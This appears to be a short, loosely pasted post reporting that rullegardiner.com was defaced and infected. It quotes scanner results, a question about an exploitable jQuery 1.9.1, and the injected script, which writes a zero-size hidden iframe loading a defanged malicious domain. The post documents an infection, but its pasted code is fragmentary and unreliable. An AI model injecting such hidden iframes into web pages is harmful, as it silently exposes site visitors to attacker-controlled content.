Defacement through hidden iFrame.....

See: http://toolbar.netcraft.com/site_report/?url=http%3A%2F%2Fwww.rullegardiner.com%2F
Like this site has not been there: http://toolbar.netcraft.com/site_report?url=http://apache2-emu.talisker.dreamhost.com
See: http://killmalware.com/rullegardiner.com/#
Detected libraries:
jquery - 1.9.1 : (active1) -http://code.jquery.com/jquery-1.9.1.js
(active) - the library was also found to be active by running code Exploitable - Does anyone know why jquery.com has a special jQuery 1.9.1 version that is still vulnerable to $(location.hash)?"
Web site defaced. Details: http://sucuri.net/malware/entry/MW:DEFACED:01

Hacked by Neo Feedback *Known javascript malware. Details: http://sucuri.net/malware/entry/MW:IFRAME:HD202?v02 -> htxp://www.devilscafe.in/ Unique IDs about your web browsing habits have been insecurely sent to third parties. (87%).

At least 1 third parties know you are on this webpage: htxp://code.jquery.com/jquery-1.9.1.js


code.jquery.com code.jquery.com
document.write(unescape("<iframe frameborder="0" height="0" src="htxp://www.devilscafe.in" 

width="0"></iframe>
<a href="htxp://www.devilscafe.in" target="_blank"><img 

src="" />"));
//-->
</script>"));</script>  

pol